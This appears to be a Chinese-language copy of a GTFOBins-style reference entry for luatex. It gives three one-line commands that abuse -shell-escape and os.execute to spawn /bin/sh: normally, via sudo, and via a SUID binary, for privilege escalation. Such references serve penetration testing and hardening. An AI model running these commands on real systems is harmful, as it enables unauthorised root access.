lua
](/gtfobins/lua/) code. 用来生成一个交互式的系统shell。
luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
./luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'